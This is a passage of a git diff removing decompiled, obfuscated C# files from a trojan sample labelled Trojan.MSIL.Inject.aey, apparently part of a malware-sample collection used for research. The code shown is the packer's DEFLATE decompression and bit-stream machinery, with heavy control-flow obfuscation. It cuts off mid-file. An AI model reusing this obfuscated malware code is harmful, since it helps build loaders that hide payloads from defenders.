num2 = 0; - int num3; - int index3; - while (true) - { - switch (num2) - { - case 0: - num3 = 0; - num2 = 1; - continue; - case 1: - numArray1[0] = 0; - num2 = 2; - continue; - case 2: - index3 = 1; - num2 = 3; - continue; - case 3: - goto label_16; - default: - goto label_10; - } - } -label_16: - for (; index3 <= num1; ++index3) - { - num3 = num3 + numArray1[index3 - 1] << 1; - numArray2[index3] = num3; - } - for (int index4 = 0; index4 < _param0.Length; ++index4) - { - int index5 = _param0[index4].\uE001; - if (index5 != 0) - { - _param0[index4].\uE000 = numArray2[index5]; - ++numArray2[index5]; - } - } - } - else - goto label_1; - } - - internal static \uE00D \uE004(\uE00B[] _param0, \uE00B[] _param1) => new \uE00D() - { - \uE000 = \uE00A.\uE005(_param0), - \uE001 = \uE00A.\uE005(_param1) - }; - - internal static \uE00C \uE005(\uE00B[] _param0) - { - \uE00A.\uE008[] objArray = new \uE00A.\uE008[_param0.Length]; - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_9; -label_1: - if (_param0[index].\uE001 > 0) - { - \uE00A.\uE008 obj = new \uE00A.\uE008(); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - obj.\uE000 = _param0[index]; - num2 = 1; - continue; - case 1: - obj.\uE001 = (ushort) index; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7: - objArray[num1++] = obj; - } - ++index; -label_9: - if (index >= _param0.Length) - { - if (_param0.Length < 1) - throw new InvalidOperationException(); - return \uE00A.\uE006(objArray, num1, 0, 0); - } - goto label_1; - } - - private static \uE00C \uE006( - \uE00A.\uE008[] _param0, - int _param1, - int _param2, - int _param3) - { - \uE00A.\uE008[] objArray1 = new \uE00A.\uE008[_param1]; - \uE00A.\uE008[] objArray2 = new \uE00A.\uE008[_param1]; - \uE00C obj1 = new \uE00C(); - obj1.\uE000 = false; - int num1; - int num2 = num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_11; -label_1: - \uE00A.\uE008 obj2 = _param0[index]; - if (obj2.\uE000.\uE001 == _param3 && obj2.\uE000.\uE000 == _param2) - { - obj1.\uE000 = true; - obj1.\uE001 = obj2.\uE001; - } - else - { - bool flag = (obj2.\uE000.\uE000 >> obj2.\uE000.\uE001 - _param3 - 1 & 1) != 0; -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (flag) - { - num3 = 1; - continue; - } - goto label_9; - case 1: - objArray2[num2++] = obj2; - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_5; - } - } -label_9: - objArray1[num1++] = obj2; - } -label_10: - ++index; -label_11: - if (index >= _param1) - { - if (obj1.\uE000) - { - if (num2 > 0 || num1 > 0) - throw new InvalidOperationException(); - } - else - { - if (num1 > 0) - obj1.\uE002 = \uE00A.\uE006(objArray1, num1, _param2 << 1, _param3 + 1); - if (num2 > 0) - obj1.\uE003 = \uE00A.\uE006(objArray2, num2, _param2 << 1 | 1, _param3 + 1); - } - return obj1; - } - goto label_1; - } - - internal static void \uE007(int _param0, out int _param1, out int _param2) - { - _param1 = \uE00A.\uE015[_param0 - 257]; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = \uE00A.\uE016[_param0 - 257]; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - internal static void \uE008(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE015, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index + 257; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE015[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE016[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static void \uE009(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE017, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE017[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE018[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static int[] \uE00A(int[] _param0, int _param1) => \uE00A.\uE000.\uE000(_param0, _param1); - - internal static int[] \uE00B(int[] _param0) => \uE00A.\uE000.\uE000(_param0, 15); - - internal static int \uE00C(int _param0) - { - int num1 = _param0; -label_2: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - switch (num1) - { - case 16: - goto label_5; - case 17: - goto label_6; - case 18: - goto label_7; - default: - num2 = 1; - continue; - } - case 1: - goto label_8; - default: - goto label_2; - } - } -label_5: - return 2; -label_6: - return 3; -label_7: - return 7; -label_8: - return 0; - } - - internal static int[] \uE00D(int[] _param0, int _param1, int _param2) - { - ArrayList arrayList = new ArrayList(); - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - if (_param0[_param1 + num1] == 0) - { - int num2 = 0; - do - { - ++num2; - } - while (num1 + num2 < _param2 && num2 < 138 && _param0[_param1 + num1 + num2] == 0); - if (num2 < 3) - { - if (num2 >= 1) - arrayList.Add((object) 0); - if (num2 >= 2) - arrayList.Add((object) 0); - } - else if (num2 < 11) - { - arrayList.Add((object) 17); - arrayList.Add((object) (num2 - 3)); - } - else - { - arrayList.Add((object) 18); - arrayList.Add((object) (num2 - 11)); - } - num1 += num2; - } - else - { - int num3 = _param0[_param1 + num1++]; -label_15: - int num4 = 1; - int num5; - while (true) - { - switch (num4) - { - case 0: - num5 = 0; - num4 = 2; - continue; - case 1: - arrayList.Add((object) num3); - num4 = 0; - continue; - case 2: - goto label_19; - default: - goto label_15; - } - } -label_19: - while (num1 + num5 < _param2 && num5 < 6 && _param0[_param1 + num1 + num5] == num3) - ++num5; - if (num5 >= 3) - { - arrayList.Add((object) 16); - arrayList.Add((object) (num5 - 3)); - num1 += num5; - } - } -label_22: - if (num1 >= _param2) - return (int[]) arrayList.ToArray(typeof (int)); - goto label_1; - } - - private sealed class \uE000 - { - internal static int[] \uE000(int[] _param0, int _param1) - { - int[] items = new int[_param0.Length]; - int[] numArray1 = new int[_param0.Length]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_2; -label_1: - items[index1] = index1; - ++index1; -label_2: - if (index1 >= items.Length) - { - Array.Copy((Array) _param0, (Array) numArray1, _param0.Length); - Array.Sort(numArray1, items); - int sourceIndex = 0; - while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0) - ++sourceIndex; - int[] destinationArray = new int[numArray1.Length - sourceIndex]; -label_8: - int num = 1; - int[] numArray2; - while (true) - { - switch (num) - { - case 0: - if (destinationArray.Length == 0) - { - num = 2; - continue; - } - goto label_13; - case 1: - Array.Copy((Array) numArray1, sourceIndex, (Array) destinationArray, 0, destinationArray.Length); - num = 0; - continue; - case 2: - numArray2 = new int[0]; - num = 3; - continue; - case 3: - goto label_16; - default: - goto label_8; - } - } -label_13: - if (destinationArray.Length == 1) - numArray2 = new int[1]{ 1 }; - else - numArray2 = \uE00A.\uE000.\uE001(destinationArray, _param1); -label_16: - int[] numArray3 = new int[_param0.Length]; - for (int index2 = 0; index2 < numArray2.Length; ++index2) - numArray3[items[index2 + sourceIndex]] = numArray2[index2]; - return numArray3; - } - goto label_1; - } - - private static int[] \uE001(int[] _param0, int _param1) - { - int length = _param0.Length; -label_2: - int num1 = 3; - int[][] numArray1; - int index1; - int[] numArray2; - while (true) - { - switch (num1) - { - case 0: - numArray1[0] = _param0; - num1 = 2; - continue; - case 1: - if (index1 != 0) - { - num1 = 5; - continue; - } - goto label_10; - case 2: - numArray2 = new int[_param0.Length / 2]; - num1 = 4; - continue; - case 3: - numArray1 = new int[_param1][]; - num1 = 0; - continue; - case 4: - index1 = 0; - num1 = 1; - continue; - case 5: - goto label_9; - default: - goto label_2; - } - } -label_9: - int num2 = 0; - goto label_11; -label_10: - num2 = 1; -label_11: - if (num2 != 0) - goto label_13; -label_12: - numArray2[index1] = _param0[index1 * 2] + _param0[index1 * 2 + 1]; - ++index1; -label_13: - if (index1 >= numArray2.Length) - { - for (int index2 = 1; index2 < _param1; ++index2) - { - int[] numArray3 = \uE00A.\uE000.\uE002(numArray2, _param0); - numArray1[index2] = numArray3; - numArray2 = new int[numArray3.Length / 2]; - for (int index3 = 0; index3 < numArray2.Length; ++index3) - numArray2[index3] = numArray3[index3 * 2] + numArray3[index3 * 2 + 1]; - } - int[] numArray4 = new int[length]; - int num3 = length - 1; - for (int index4 = _param1 - 1; index4 >= 0; --index4) - { - int[] numArray5 = numArray1[index4]; - int num4 = 0; - int index5 = 0; - for (int index6 = 0; index6 < num3 * 2; ++index6) - { - if (index5 < _param0.Length && _param0[index5] == numArray5[index6]) - { - ++numArray4[index5]; - ++index5; - } - else - ++num4; - } - num3 = num4; - } - return numArray4; - } - goto label_12; - } - - private static int[] \uE002(int[] _param0, int[] _param1) - { - int[] numArray = new int[_param0.Length + _param1.Length]; -label_2: - int num1 = 3; - int index1; - int num2; - int index2; - while (true) - { - switch (num1) - { - case 0: - index1 = 0; - num1 = 2; - continue; - case 1: - if (num2 != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 2: - num2 = 0; - num1 = 1; - continue; - case 3: - index2 = 0; - num1 = 0; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num3 = 0; - goto label_10; -label_9: - num3 = 1; -label_10: - if (num3 != 0) - goto label_12; -label_11: - numArray[num2++] = _param0[index2] >= _param1[index1] ? _param1[index1++] : _param0[index2++]; -label_12: - if (index2 >= _param0.Length || index1 >= _param1.Length) - { - while (index2 < _param0.Length) - numArray[num2++] = _param0[index2++]; - while (index1 < _param1.Length) - numArray[num2++] = _param1[index1++]; - return numArray; - } - goto label_11; - } - } - - private struct \uE008 - { - internal \uE00B \uE000; - internal ushort \uE001; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index ba74e46c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal struct \uE00B -{ - public int \uE000; - public int \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index aa5a59c9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \uE00C -{ - internal bool \uE000; - internal ushort \uE001; - internal \uE00C \uE002; - internal \uE00C \uE003; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index fd20b4d7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \uE00D -{ - internal \uE00C \uE000; - internal \uE00C \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index e3dde210..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,798 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; - -internal sealed class \uE00E -{ - public static void \uE000(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - \uE00E.\uE000 obj = new \uE00E.\uE000(_param0); - while (true) - { - int count = obj.\uE000(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - public sealed class \uE000 - { - private \uE00E.\uE009 \uE000 = new \uE00E.\uE009(32769); - private \uE00E.\uE008 \uE001; - private \uE00D \uE002; - private int \uE003 = -1; - private int \uE004 = -1; - private bool \uE005; - private int \uE006; - private long \uE007; - private long \uE008; - private bool \uE009; - private int \uE00A; - private bool \uE00B; - - public \uE000(Stream _param1) => this.\uE001 = new \uE00E.\uE008(_param1); - - public int \uE000(byte[] _param1, int _param2, int _param3) - { - if ((_param1 == null ? 0 : 1) == 0) - throw new ArgumentNullException(); - if (_param3 == 0 || this.\uE009) - return 0; - int num1 = 0; -label_15: - while (num1 < _param3) - { - while (this.\uE003 < 0 && !this.\uE009) - this.\uE009 = !this.\uE001(); - if (!this.\uE009) - { - int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1); -label_10: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_14; - case 1: - num1 += num2; - num3 = 2; - continue; - case 2: - goto label_15; - default: - goto label_10; - } - } -label_14: - this.\uE003 = -1; - } - else - break; - } - return num1; - } - - private bool \uE001() - { - if ((!this.\uE005 ? 1 : 0) == 0) - return false; - this.\uE007 = this.\uE001.\uE004; -label_4: - int num1 = 2; - int num2; - while (true) - { - switch (num1) - { - case 0: - switch (num2) - { - case 0: - goto label_10; - case 1: - goto label_13; - case 2: - goto label_14; - default: - num1 = 4; - continue; - } - case 1: - this.\uE003 = this.\uE001.\uE000(2); - num1 = 3; - continue; - case 2: - this.\uE005 = this.\uE001.\uE000(1) > 0; - num1 = 1; - continue; - case 3: - num2 = this.\uE003; - num1 = 0; - continue; - case 4: - goto label_15; - default: - goto label_4; - } - } -label_10: - this.\uE001.\uE001(); - int num3 = this.\uE001.\uE000(16); - int num4 = this.\uE001.\uE000(16); - this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException(); - this.\uE002 = (\uE00D) null; - this.\uE00B = true; - goto label_16; -label_13: - \uE00B[] objArray1 = \uE00A.\uE011; - \uE00B[] objArray2 = \uE00A.\uE012; - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE013; - this.\uE00B = false; - goto label_16; -label_14: - \uE00B[] objArray3; - \uE00B[] objArray4; - this.\uE009(this.\uE001, out objArray3, out objArray4); - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE004(objArray3, objArray4); - this.\uE00B = false; - goto label_16; -label_15: - throw new InvalidOperationException(); -label_16: - this.\uE008 = this.\uE001.\uE004; - return true; - } - - private int \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = _param2; - if ((this.\uE003 == 0 ? 0 : 1) == 0) - { - if (this.\uE006 > 0) - { - int num2 = Math.Min(_param3, this.\uE006); -label_4: - int num3 = 3; - while (true) - { - switch (num3) - { - case 0: - _param2 += num2; - num3 = 5; - continue; - case 1: - _param3 -= num2; - num3 = 0; - continue; - case 2: - this.\uE000.\uE001(_param1, _param2, num2); - num3 = 4; - continue; - case 3: - this.\uE001.\uE002(_param1, _param2, num2); - num3 = 2; - continue; - case 4: - this.\uE006 -= num2; - num3 = 1; - continue; - case 5: - goto label_22; - default: - goto label_4; - } - } - } - } - else if (!this.\uE00B) - { - if (this.\uE00A > 0) - this.\uE003(_param1, ref _param2, ref _param3); - if (_param3 > 0) - { - do - { - int num4 = \uE00E.\uE000.\uE006(this.\uE001, this.\uE002.\uE000); - this.\uE00B = num4 == 256; - if (!this.\uE00B) - { - if (num4 < 256) - { - _param1[_param2++] = (byte) num4; - this.\uE000.\uE000((byte) num4); - --_param3; - } - else if (num4 <= 285) - { - int num5 = \uE00E.\uE000.\uE007(this.\uE001, num4); - int num6 = \uE00E.\uE000.\uE008(this.\uE001, this.\uE002.\uE001); - if ((long) num6 > this.\uE000.\uE003) - throw new InvalidOperationException(); - this.\uE004 = num6; - this.\uE00A = num5; - this.\uE003(_param1, ref _param2, ref _param3); - } - } - else - break; - } - while (_param3 > 0); - } - } -label_22: - this.\uE008 = this.\uE001.\uE004; - return _param2 - num1; - } - - private void \uE003(byte[] _param1, ref int _param2, ref int _param3) - { - int num1 = Math.Min(this.\uE00A, _param3); - byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004)); - _param3 -= num1; - this.\uE00A -= num1; - while ((num1 <= sourceArray.Length ? 0 : 1) != 0) - { - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length); -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - _param2 += sourceArray.Length; - num2 = 1; - continue; - case 1: - num1 -= sourceArray.Length; - num2 = 2; - continue; - case 2: - goto label_6; - default: - goto label_3; - } - } -label_6: - this.\uE000.\uE001(sourceArray, 0, sourceArray.Length); - } - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1); - _param2 += num1; - this.\uE000.\uE001(sourceArray, 0, num1); - } - - public bool \uE004(int _param1) - { - byte[] numArray = new byte[1024]; - int num; - while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0) - _param1 -= num; - return _param1 <= 0; - } - - public void \uE005() - { - byte[] numArray = new byte[1024]; - do - ; - while (this.\uE000(numArray, 0, 1024) > 0); - } - - private static int \uE006(\uE00E.\uE008 _param0, \uE00C _param1) - { - while (true) - { - if (_param1 == null) - goto label_7; - else - goto label_4; -label_3: - int num; - while (true) - { - switch (num) - { - case 0: - if (_param1.\uE000) - { - num = 1; - continue; - } - goto label_1; - case 1: - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_1: - _param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002; - continue; -label_4: - num = 0; - goto label_3; -label_7: - if (_param1 == null) - { - num = 2; - goto label_3; - } - else - goto label_10; - } -label_9: - throw new InvalidOperationException(); -label_10: - return (int) _param1.\uE001; - } - - private static int \uE007(\uE00E.\uE008 _param0, int _param1) - { - int num1; - int num2; - \uE00A.\uE007(_param1, out num1, out num2); -label_2: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - return num1 + _param0.\uE000(num2); -label_6: - return num1; - } - - private static int \uE008(\uE00E.\uE008 _param0, \uE00C _param1) - { - int index = \uE00E.\uE000.\uE006(_param0, _param1); - int num1 = index <= 29 ? \uE00A.\uE017[index] : throw new InvalidOperationException(); -label_4: - int num2 = 1; - int num3; - int num4; - while (true) - { - switch (num2) - { - case 0: - if (num3 > 0) - { - num2 = 4; - continue; - } - goto label_15; - case 1: - num3 = \uE00A.\uE018[index]; - num2 = 0; - continue; - case 2: - if (index == 284) - { - num2 = 3; - continue; - } - goto label_14; - case 3: - if (num4 > 30) - { - num2 = 5; - continue; - } - goto label_14; - case 4: - num4 = _param0.\uE000(num3); - num2 = 2; - continue; - case 5: - goto label_13; - default: - goto label_4; - } - } -label_13: - throw new InvalidOperationException(); -label_14: - return num1 + num4; -label_15: - return num1; - } - - private void \uE009(\uE00E.\uE008 _param1, out \uE00B[] _param2, out \uE00B[] _param3) - { - int length1 = _param1.\uE000(5) + 257; -label_2: - int num1 = 1; - int num2; - int length2; - while (true) - { - switch (num1) - { - case 0: - num2 = _param1.\uE000(4) + 4; - num1 = 2; - continue; - case 1: - length2 = _param1.\uE000(5) + 1; - num1 = 0; - continue; - case 2: - if (length1 > 286) - { - num1 = 3; - continue; - } - goto label_8; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - throw new InvalidOperationException(); -label_8: - int[] numArray1 = \uE00A.\uE014; - int[] numArray2 = new int[19]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_10; -label_9: - numArray2[numArray1[index1]] = _param1.\uE000(3); - ++index1; -label_10: - if (index1 >= num2) - { - \uE00C obj = \uE00A.\uE005(\uE00A.\uE002(numArray2)); - int[] numArray3 = \uE00E.\uE000.\uE00A(_param1, obj, length1 + length2); - _param2 = new \uE00B[length1]; - for (int index2 = 0; index2 < length1; ++index2) - _param2[index2].\uE001 = numArray3[index2]; - \uE00A.\uE003(_param2); - _param3 = new \uE00B[length2]; - for (int index3 = 0; index3 < length2; ++index3) - _param3[index3].\uE001 = numArray3[index3 + length1]; - \uE00A.\uE003(_param3); - } - else - goto label_9; - } - - private static int[] \uE00A(\uE00E.\uE008 _param0, \uE00C _param1, int _param2) - { - int[] numArray = new int[_param2]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - int num1 = \uE00E.\uE000.\uE006(_param0, _param1); -label_3: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - numArray[index1] = num1; - num2 = 2; - continue; - case 1: - if (num1 < 16) - { - num2 = 0; - continue; - } - goto label_7; - case 2: - goto label_21; - default: - goto label_3; - } - } -label_7: - switch (num1) - { - case 16: - int num3 = _param0.\uE000(2) + 3; - if (num3 + index1 > numArray.Length) - throw new InvalidOperationException(); - for (int index2 = 0; index2 < num3; ++index2) - numArray[index1 + index2] = numArray[index1 - 1]; - index1 += num3 - 1; - break; - case 17: - int num4 = _param0.\uE000(3) + 3; - if (num4 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num4 - 1; - break; - case 18: - int num5 = _param0.\uE000(7) + 11; - if (num5 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num5 - 1; - break; - default: - throw new InvalidOperationException(); - } -label_21: - ++index1; -label_22: - if (index1 >= _param2) - return numArray; - goto label_1; - } - } - - private sealed class \uE008 - { - private uint \uE000; - private int \uE001; - private int \uE002; - private Stream \uE003; - internal long \uE004; - - internal \uE008(Stream _param1) => this.\uE003 = _param1; - - internal int \uE000(int _param1) - { - this.\uE004 += (long) _param1; - for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8) - { - this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002; - this.\uE002 += 8; - } - int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1; -label_5: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - this.\uE002 = this.\uE001 = 0; - num2 = 1; - continue; - case 1: - this.\uE000 = 0U; - num2 = 4; - continue; - case 2: - this.\uE001 += _param1; - num2 = 3; - continue; - case 3: - if (this.\uE002 == this.\uE001) - { - num2 = 0; - continue; - } - goto label_11; - case 4: - goto label_13; - default: - goto label_5; - } - } -label_11: - if (this.\uE001 >= 8) - { - this.\uE000 >>= this.\uE001; - this.\uE002 -= this.\uE001; - this.\uE001 = 0; - } -label_13: - return num1; - } - - internal void \uE001() - { - if (this.\uE002 != this.\uE001) - this.\uE004 += (long) (this.\uE002 - this.\uE001); - this.\uE002 = this.\uE001 = 0; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000 = 0U; - num = 1; - continue; - case 1: - goto label_6; - default: - goto label_4; - } - } -label_6:; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002 != this.\uE001) - throw new InvalidOperationException(); - int num1 = this.\uE003.Read(_param1, _param2, _param3); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - this.\uE004 += (long) (num1 << 3); - num2 = 1; - continue; - case 1: - if (num1 != _param3) - { - num2 = 2; - continue; - } - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_7: - return; -label_9: - throw new InvalidOperationException(); - } - } - - private sealed class \uE009 - { - private byte[] \uE000; - private int \uE001; - internal int \uE002; - internal long \uE003; - - internal \uE009(int _param1) - { - this.\uE002 = _param1; - this.\uE000 = new byte[_param1]; - } - - internal void \uE000(byte _param1) - { - this.\uE000[this.\uE001++] = _param1; - if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0) - this.\uE001 = 0; - ++this.\uE003; - } - - internal void \uE001(byte[] _param1, int _param2, int _param3) - { - this.\uE003 += (long) _param3; - if ((_param3 >= this.\uE002 ? 0 : 1) == 0) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002); - this.\uE001 = 0; - } - else if (this.\uE001 + _param3 > this.\uE002) - { - int length1 = this.\uE002 - this.\uE001; -label_5: - int num = 2; - int length2; - while (true) - { - switch (num) - { - case 0: - Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2); - num = 1; - continue; - case 1: - this.\uE001 = length2; - num = 4; - continue; - case 2: - length2 = this.\uE001 + _param3 - this.\uE002; - num = 3; - continue; - case 3: - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1); - num = 0; - continue; - case 4: - goto label_12; - default: - goto label_5; - } - } -label_12:; - } - else - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3); - this.\uE001 += _param3; - if (this.\uE001 != this.\uE002) - return; - this.\uE001 = 0; - } - } - - internal byte[] \uE002(int _param1, int _param2) - { - byte[] destinationArray = new byte[_param2]; - if ((this.\uE001 >= _param1 ? 0 : 1) == 0) - { - Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2); - } - else - { - int num1 = _param1 - this.\uE001; -label_4: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1); - num2 = 3; - continue; - case 1: - if (num1 < _param2) - { - num2 = 2; - continue; - } - goto label_9; - case 2: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1); - num2 = 0; - continue; - case 3: - goto label_10; - default: - goto label_4; - } - } -label_9: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2); - } -label_10: - return destinationArray; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 813e8d14..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,1584 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.Collections; -using System.IO; - -internal sealed class \uE00F -{ - public sealed class \uE000 : Stream, IDisposable - { - private const int \uE000 = 8192; - private Stream \uE001; - private bool \uE002; - private bool \uE003; - private 